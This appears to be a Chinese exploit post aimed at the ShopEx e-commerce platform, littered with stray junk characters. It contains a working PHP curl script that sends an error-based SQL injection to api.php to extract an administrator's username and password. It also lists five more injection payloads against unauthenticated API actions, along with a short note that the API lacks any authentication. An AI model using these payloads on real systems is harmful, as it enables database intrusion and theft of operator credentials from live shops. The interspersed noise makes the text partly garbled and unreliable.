j, N, m5 n: N! F& m& w2 `8 t/ v<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证，任何用户都可访问,攻击者可通过它来对产品的分类，类型，规格，品牌等，进行添加，删除和修改，过滤不当还可造成注入.% g1 s( W# @9 f( ?& H4 N
- @1 O. T' Z0 I3 G. N- j6 q5 g注射1： % a/ U3 V5 V# s0 C 6 p, S; ^& K( E- @% Whttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#2 E9 o2 C7 H b. ^; Y
5 V8 j5 h6 O6 j$ m" i# Y! {注射2：5 i* t7 e: Z0 l6 `8 m" A9 ] http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}# M! M; {+ W' t) l. v. z
) g! L1 F) p* i2 F注射3：$ }7 X c- m. j9 T http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx! e/ ~9 ^& H9 q! d, L" U* g7 W
注射4： & b7 _& f% Z9 R- p3 j 5 j: ]- w5 X: E# ?( Xhttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1" h! a/ _$ D& Y; ?0 G- z w
/ p6 N3 |8 g. q* L P. w$ ]- _- \3 L6 A5 ]! f4 c
注射5：9 |9 Q4 Y6 o& Y4 l http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx- i/ k& I6 K( J8 N0 Q5 x0 B
. q/ O, V( u. ^9 g, n8 N9 n" j) B: S M
4 w/ ]- l7 i: I# A/ |
+ a8 w0 x, r; x0 x4 Y1 z1 U" o1 e: a
" M( c/ N. ?' `